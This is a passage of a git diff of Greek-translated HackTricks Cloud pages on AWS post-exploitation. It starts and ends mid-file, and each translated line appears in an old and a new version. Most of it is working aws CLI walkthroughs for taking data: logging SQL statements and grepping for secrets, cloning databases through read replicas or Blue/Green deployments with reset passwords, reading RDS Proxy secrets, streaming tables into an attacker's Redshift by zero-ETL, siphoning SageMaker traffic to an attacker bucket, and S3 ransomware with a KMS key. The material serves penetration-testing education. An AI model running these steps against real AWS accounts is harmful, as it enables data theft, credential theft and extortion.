aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Αφήστε το workload να εκτελεστεί (ή δημιουργήστε queries). Οι δηλώσεις θα καταγραφούν στα engine file logs
|
||||
4) Αφήστε το φορτίο εργασίας να τρέξει (ή δημιουργήστε ερωτήματα). Οι δηλώσεις θα γραφτούν στα engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Εντοπίστε και κατεβάστε τα logs (δεν απαιτούνται διαπιστευτήρια DB)
|
||||
5) Ανακαλύψτε και κατεβάστε τα logs (δεν απαιτούνται DB creds)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -246,7 +246,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Καθαρισμός
|
||||
- Επαναφέρετε τις παραμέτρους στις προεπιλεγμένες τιμές και επανεκκινήστε εάν απαιτείται:
|
||||
- Επαναφέρετε τις παραμέτρους στις προεπιλογές και επανεκκινήστε αν απαιτείται:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των SQL εντολών της εφαρμογής μέσω AWS APIs (no DB creds), πιθανώς leaking μυστικά, JWTs, και PII.
|
||||
Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των application SQL statements μέσω AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Καταχρήση των RDS read replicas για απόκτηση out-of-band read access χωρίς να πειραχτούν τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από ένα production instance, να επαναφέρει το replica's master password (αυτό δεν αλλάζει το primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα.
|
||||
Κατάχρηση των RDS read replicas για απόκτηση out-of-band read access χωρίς να αγγίζονται τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από production instance, να επαναφέρει το replica's master password (this does not change the primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα.
|
||||
|
||||
Απαιτούμενα permissions (ελάχιστα):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (αν εκτεθεί δημόσια)
|
||||
|
||||
Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; χαμηλότερη πιθανότητα ανίχνευσης καθώς το primary παραμένει untouched και η replication συνεχίζεται.
|
||||
Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; χαμηλότερη πιθανότητα εντοπισμού καθώς το primary παραμένει ανεπηρέαστο και η replication συνεχίζεται.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Παράδειγμα αποδεικτικών στοιχείων (MySQL):
|
||||
- Κατάσταση Replica DB: `available`, read replication: `replicating`
|
||||
- Επιτυχής σύνδεση με νέο κωδικό και `@@read_only=1` που επιβεβαιώνει πρόσβαση μόνο για ανάγνωση στο αντίγραφο.
|
||||
- Επιτυχής σύνδεση με νέο password και `@@read_only=1` που επιβεβαιώνει πρόσβαση read-only στη replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Καταχρήση του RDS Blue/Green για κλωνοποίηση μιας παραγωγικής DB σε ένα συνεχώς αναπαραγόμενο, μόνο για ανάγνωση green περιβάλλον. Στη συνέχεια επαναφέρετε τα κύρια διαπιστευτήρια του green για να αποκτήσετε πρόσβαση στα δεδομένα χωρίς να αγγίξετε το blue (prod) instance. Αυτό είναι πιο διακριτικό από την κοινή χρήση snapshot και συχνά παρακάμπτει την παρακολούθηση που εστιάζει μόνο στην πηγή.
|
||||
Καταχράσου το RDS Blue/Green για να κλωνοποιήσεις μια παραγωγική βάση δεδομένων σε ένα συνεχώς replicated, read-only green περιβάλλον. Έπειτα επαναφέρε τα green master credentials για να αποκτήσεις πρόσβαση στα δεδομένα χωρίς να αγγίξεις το blue (prod) instance. Αυτό είναι πιο stealthy από το snapshot sharing και συχνά παρακάμπτει το monitoring που επικεντρώνεται μόνο στην πηγή.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Αντίκτυπος: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα σε έναν σχεδόν-σε-πραγματικό-χρόνο κλώνο του production χωρίς να τροποποιηθεί το production instance. Χρήσιμο για στελθ εξαγωγή δεδομένων και ανάλυση εκτός σύνδεσης.
|
||||
Επίπτωση: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα ενός κλώνου παραγωγής σχεδόν σε πραγματικό χρόνο χωρίς να τροποποιηθεί το production instance. Χρήσιμο για stealthy data extraction και offline ανάλυση.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Κακοποίηση του Aurora για την ενεργοποίηση του RDS Data API HTTP endpoint σε έναν στοχευμένο cluster, επαναφορά του master password σε μια τιμή που ελέγχετε και εκτέλεση SQL πάνω από HTTPS (χωρίς απαιτούμενο VPC network path). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ., Aurora MySQL 8.0 provisioned; κάποιες εκδόσεις Aurora PostgreSQL/MySQL).
|
||||
Καταχρηστική χρήση του Aurora για να ενεργοποιήσετε το RDS Data API HTTP endpoint σε έναν στόχο cluster, να επαναφέρετε το master password σε μια τιμή που ελέγχετε και να τρέξετε SQL μέσω HTTPS (δεν απαιτείται διαδρομή δικτύου VPC). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ. Aurora MySQL 8.0 provisioned; κάποιες εκδόσεις Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Αντίκτυπος: Παράκαμψη της δικτυακής τμηματοποίησης και εξαγωγή δεδομένων μέσω AWS APIs χωρίς άμεση VPC connectivity στη DB.
|
||||
Επίπτωση: Παράκαμψη του διαχωρισμού δικτύου και exfiltrate δεδομένα μέσω AWS APIs χωρίς άμεση VPC συνδεσιμότητα προς τη DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI από άκρο σε άκρο (παράδειγμα Aurora MySQL)</summary>
|
||||
<summary>End-to-end CLI (παράδειγμα Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Σημειώσεις:
|
||||
- Εάν το SQL πολλών εντολών απορριφθεί από το `rds-data`, εκτελέστε ξεχωριστές κλήσεις `execute-statement`.
|
||||
- Για μηχανές όπου το `modify-db-cluster --enable-http-endpoint` δεν έχει αποτέλεσμα, χρησιμοποιήστε `rds enable-http-endpoint --resource-arn`.
|
||||
- Βεβαιωθείτε ότι η μηχανή/έκδοση υποστηρίζει πραγματικά το Data API· διαφορετικά το `HttpEndpointEnabled` θα παραμείνει `False`.
|
||||
- Εάν multi-statement SQL απορρίπτεται από το rds-data, εκτελέστε ξεχωριστές κλήσεις execute-statement.
|
||||
- Για engines όπου το modify-db-cluster --enable-http-endpoint δεν έχει αποτέλεσμα, χρησιμοποιήστε rds enable-http-endpoint --resource-arn.
|
||||
- Βεβαιωθείτε ότι ο engine/version υποστηρίζει πραγματικά το Data API· διαφορετικά το HttpEndpointEnabled θα παραμείνει False.
|
||||
|
||||
|
||||
### Συλλογή διαπιστευτηρίων DB μέσω RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Καταχρηστείτε τη διαμόρφωση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την πιστοποίηση του backend, και στη συνέχεια διαβάστε το secret για να αποκτήσετε διαπιστευτήρια βάσης δεδομένων. Σε πολλά περιβάλλοντα χορηγείται ευρεία άδεια `secretsmanager:GetSecretValue`, καθιστώντας αυτή μια εύκολη μεταπήδηση προς διαπιστευτήρια DB. Εάν το secret χρησιμοποιεί CMK, κακώς ορισμένα δικαιώματα KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`.
|
||||
Καταχραστείτε τη ρύθμιση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την επαλήθευση του backend και στη συνέχεια διαβάστε το secret για να αποκτήσετε τα διαπιστευτήρια της βάσης δεδομένων. Πολλά περιβάλλοντα χορηγούν ευρείες άδειες `secretsmanager:GetSecretValue`, καθιστώντας αυτό ένα low-friction pivot προς DB creds. Αν το secret χρησιμοποιεί CMK, μη σωστά περιορισμένες άδειες KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`.
|
||||
|
||||
Απαιτούμενα δικαιώματα (ελάχιστα):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` στο αναφερόμενο SecretArn
|
||||
- Προαιρετικό όταν το secret χρησιμοποιεί CMK: `kms:Decrypt` στο συγκεκριμένο κλειδί
|
||||
- Προαιρετικά αν το secret χρησιμοποιεί CMK: `kms:Decrypt` σε αυτό το key
|
||||
|
||||
Impact: Άμεση αποκάλυψη του DB username/password που έχει ρυθμιστεί στον proxy· επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement.
|
||||
Impact: Άμεση αποκάλυψη του DB username/password που είναι ρυθμισμένο στον proxy; επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement.
|
||||
|
||||
Βήματα
|
||||
```bash
|
||||
@@ -473,7 +473,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Καθαρισμός (εργαστήριο)
|
||||
Καθαρισμός (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
@@ -482,7 +482,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
|
||||
```
|
||||
### Κρυφή συνεχής εξαγωγή δεδομένων μέσω Aurora zero‑ETL σε Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Καταχραστείτε την ολοκλήρωση Aurora PostgreSQL zero‑ETL για να αναπαράγετε συνεχώς παραγωγικά δεδομένα σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί τα CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα σχεδόν πραγματικού χρόνου αντίγραφο δεδομένων χωρίς DB creds, snapshots ή έκθεση στο δίκτυο.
|
||||
Κατάχρηση της Aurora PostgreSQL zero‑ETL integration για συνεχή αναπαραγωγή παραγωγικών δεδομένων σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας επιτιθέμενος μπορεί να δημιουργήσει μια αντιγραφή δεδομένων σε σχεδόν πραγματικό χρόνο χωρίς DB creds, snapshots ή έκθεση στο δίκτυο.
|
||||
|
||||
Απαιτούμενα δικαιώματα (ελάχιστα):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Διαμόρφωση πολιτικής πόρων Redshift για να επιτραπεί η πηγή Aurora</summary>
|
||||
<summary>2) Διαμορφώστε την πολιτική πόρου του Redshift για να επιτρέψετε την πηγή Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και logical replication)</summary>
|
||||
<summary>3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και λογικής αναπαραγωγής)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Δημιουργήστε την zero‑ETL ενσωμάτωση από το RDS</summary>
|
||||
<summary>4) Δημιουργήστε την zero‑ETL ενσωμάτωση από RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -583,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Υλοποίηση και ερώτηση αναπαραχθέντων δεδομένων στο Redshift</summary>
|
||||
<summary>5) Materialize και query αντιγραμμένων δεδομένων στο Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Αποδείξεις που παρατηρήθηκαν στη δοκιμή:
|
||||
Στοιχεία που παρατηρήθηκαν στη δοκιμή:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
- SVV_INTEGRATION έδειξε integration_id 377a462b-c42c-4f08-937b-77fe75d98211 και state PendingDbConnectState πριν τη δημιουργία της DB.
|
||||
- Μετά το CREATE DATABASE FROM INTEGRATION, η απαρίθμηση των πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· το selecting από ztl.customers επέστρεψε 2 σειρές (Alice, Bob).
|
||||
|
||||
Impact: Συνεχής, σχεδόν σε πραγματικό χρόνο, εξαγωγή επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless υπό τον έλεγχο του επιτιθέμενου, χωρίς χρήση διαπιστευτηρίων βάσης δεδομένων, αντιγράφων ασφαλείας ή δικτυακής πρόσβασης στο source cluster.
|
||||
Επίπτωση: Συνεχής σχεδόν σε πραγματικό χρόνο exfiltration επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless υπό έλεγχο του επιτιθέμενου, χωρίς χρήση database credentials, backups ή δικτυακής πρόσβασης στο πηγαίο cluster.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ευαίσθητες Πληροφορίες
|
||||
|
||||
Μερικές φορές θα μπορείτε να βρείτε ευαίσθητες πληροφορίες σε αναγνώσιμες μορφές στους κάδους. Για παράδειγμα, μυστικά κατάστασης terraform.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Διαφορετικές πλατφόρμες θα μπορούσαν να χρησιμοποιούν το S3 για να αποθηκεύουν ευαίσθητα περιουσιακά στοιχεία.\
|
||||
Για παράδειγμα, το **airflow** θα μπορούσε να αποθηκεύει τον **κώδικα DAGs** εκεί, ή οι **ιστοσελίδες** θα μπορούσαν να σερβίρονται απευθείας από το S3. Ένας επιτιθέμενος με δικαιώματα εγγραφής θα μπορούσε να **τροποποιήσει τον κώδικα** από τον κάδο για να **pivot** σε άλλες πλατφόρμες, ή να **καταλάβει λογαριασμούς** τροποποιώντας αρχεία JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Σε αυτό το σενάριο, ο **επιτιθέμενος δημιουργεί ένα κλειδί KMS (Key Management Service) στον δικό του λογαριασμό AWS** ή σε έναν άλλο παραβιασμένο λογαριασμό. Στη συνέχεια, καθιστά αυτό το **κλειδί προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε χρήστη, ρόλο ή λογαριασμό AWS να κρυπτογραφήσει αντικείμενα χρησιμοποιώντας αυτό το κλειδί. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν.
|
||||
|
||||
Ο επιτιθέμενος εντοπίζει έναν στόχο **S3 κάδο και αποκτά πρόσβαση επιπέδου εγγραφής** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό θα μπορούσε να οφείλεται σε κακή διαμόρφωση του κάδου που τον εκθέτει δημόσια ή ο επιτιθέμενος αποκτά πρόσβαση στο περιβάλλον AWS. Ο επιτιθέμενος συνήθως στοχεύει κάδους που περιέχουν ευαίσθητες πληροφορίες όπως προσωπικά αναγνωρίσιμες πληροφορίες (PII), προστατευμένες πληροφορίες υγείας (PHI), αρχεία καταγραφής, αντίγραφα ασφαλείας και άλλα.
|
||||
|
||||
Για να προσδιορίσει αν ο κάδος μπορεί να στοχοποιηθεί για ransomware, ο επιτιθέμενος ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει την επαλήθευση αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν είναι ενεργοποιημένο το **multi-factor authentication delete (MFA delete)**. Εάν το Object Versioning δεν είναι ενεργοποιημένο, ο επιτιθέμενος μπορεί να προχωρήσει. Εάν το Object Versioning είναι ενεργοποιημένο αλλά το MFA delete είναι απενεργοποιημένο, ο επιτιθέμενος μπορεί να **απενεργοποιήσει το Object Versioning**. Εάν και τα δύο, Object Versioning και MFA delete είναι ενεργοποιημένα, γίνεται πιο δύσκολο για τον επιτιθέμενο να ransomware αυτόν τον συγκεκριμένο κάδο.
|
||||
|
||||
Χρησιμοποιώντας το AWS API, ο επιτιθέμενος **αντικαθιστά κάθε αντικείμενο στον κάδο με μια κρυπτογραφημένη αντίγραφο χρησιμοποιώντας το KMS κλειδί του**. Αυτό κρυπτογραφεί αποτελεσματικά τα δεδομένα στον κάδο, καθιστώντας τα μη προσβάσιμα χωρίς το κλειδί.
|
||||
|
||||
Για να προσθέσει περαιτέρω πίεση, ο επιτιθέμενος προγραμματίζει τη διαγραφή του KMS κλειδιού που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στον στόχο ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν το κλειδί διαγραφεί και τα δεδομένα γίνουν μόνιμα χαμένα.
|
||||
|
||||
Τέλος, ο επιτιθέμενος θα μπορούσε να ανεβάσει ένα τελικό αρχείο, συνήθως ονομαζόμενο "ransom-note.txt," το οποίο περιέχει οδηγίες για τον στόχο σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του στόχου και να τον ενημερώσει για την επίθεση ransomware.
|
||||
|
||||
**Για περισσότερες πληροφορίες** [**ελέγξτε την αρχική έρευνα**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ευαίσθητες Πληροφορίες
|
||||
|
||||
Μερικές φορές θα μπορέσετε να βρείτε ευαίσθητες πληροφορίες που είναι αναγνώσιμες μέσα στα buckets. Για παράδειγμα, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Διάφορες πλατφόρμες μπορεί να χρησιμοποιούν το S3 για την αποθήκευση ευαίσθητων πόρων.\
|
||||
Για παράδειγμα, **airflow** μπορεί να αποθηκεύει εκεί **DAGs** **code**, ή **ιστοσελίδες** να σερβίρονται απευθείας από S3. Ένας attacker με δικαιώματα εγγραφής θα μπορούσε να **modify the code** από το bucket για να **pivot** σε άλλες πλατφόρμες, ή να **takeover accounts** τροποποιώντας JS αρχεία.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key στον δικό του AWS account** ή σε έναν άλλο compromised account. Στη συνέχεια κάνει αυτό το **key προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε AWS user, role, ή account να κρυπτογραφήσει αντικείμενα χρησιμοποιώντας αυτό το key. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν.
|
||||
|
||||
Ο attacker εντοπίζει έναν στοχευμένο **S3 bucket και αποκτά write-level access** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό μπορεί να οφείλεται σε κακή ρύθμιση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker αποκτά πρόσβαση στο AWS περιβάλλον καθεαυτό. Συνήθως ο attacker στοχεύει buckets που περιέχουν ευαίσθητες πληροφορίες όπως personally identifiable information (PII), protected health information (PHI), logs, backups, κ.ά.
|
||||
|
||||
Για να προσδιορίσει αν ένα bucket μπορεί να στοχευτεί για ransomware, ο attacker ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει τον έλεγχο αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν είναι ενεργοποιημένο το **multi-factor authentication delete (MFA delete)**. Αν το Object Versioning δεν είναι ενεργοποιημένο, ο attacker μπορεί να προχωρήσει. Αν το Object Versioning είναι ενεργό αλλά το MFA delete είναι απενεργοποιημένο, ο attacker μπορεί να **disable Object Versioning**. Αν και το Object Versioning και το MFA delete είναι ενεργά, γίνεται πιο δύσκολο για τον attacker να εφαρμόσει ransomware σε αυτό το συγκεκριμένο bucket.
|
||||
|
||||
Χρησιμοποιώντας το AWS API, ο attacker **αντικαθιστά κάθε αντικείμενο στο bucket με ένα κρυπτογραφημένο αντίγραφο χρησιμοποιώντας το KMS key του**. Αυτό ουσιαστικά κρυπτογραφεί τα δεδομένα στο bucket, καθιστώντας τα μη προσβάσιμα χωρίς το key.
|
||||
|
||||
Για να ασκήσει επιπλέον πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στο θύμα ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν διαγραφεί το key και τα δεδομένα χαθούν οριστικά.
|
||||
|
||||
Τέλος, ο attacker μπορεί να ανεβάσει ένα τελικό αρχείο, συνήθως με όνομα "ransom-note.txt", το οποίο περιέχει οδηγίες για το θύμα σχετικά με το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του θύματος και να το ενημερώσει για την επίθεση ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon μέσω UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Κατάχρηση της διαχείρισης SageMaker endpoint για να ενεργοποιηθεί πλήρης καταγραφή αιτημάτων/απαντήσεων σε S3 bucket που ελέγχεται από τον επιτιθέμενο χωρίς να πειραχτεί το model ή το container. Χρησιμοποιεί ένα zero/low‑downtime rolling update και απαιτεί μόνο δικαιώματα διαχείρισης endpoint.
|
||||
|
||||
### Απαιτήσεις
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ή χρησιμοποιήστε υπάρχον bucket στον ίδιο λογαριασμό)
|
||||
- Προαιρετικό (αν χρησιμοποιείτε SSE‑KMS): `kms:Encrypt` στο επιλεγμένο CMK
|
||||
- Στόχος: Ένα υπάρχον InService real‑time endpoint στον ίδιο λογαριασμό/περιοχή
|
||||
|
||||
### Βήματα
|
||||
1) Εντοπίστε ένα InService endpoint και συλλέξτε τα τρέχοντα production variants
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Προετοιμάστε τον προορισμό S3 του attacker για captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Δημιουργήστε ένα νέο EndpointConfig που διατηρεί τα ίδια variants αλλά ενεργοποιεί το DataCapture στο attacker bucket
|
||||
|
||||
Σημείωση: Χρησιμοποιήστε ρητούς τύπους περιεχομένου που ικανοποιούν την επικύρωση του CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Εφαρμόστε τη νέα διαμόρφωση με rolling update (ελάχιστη/καθόλου διακοπή λειτουργίας)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Δημιούργησε τουλάχιστον μία κλήση inference (προαιρετικό εάν υπάρχει ζωντανή κίνηση)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
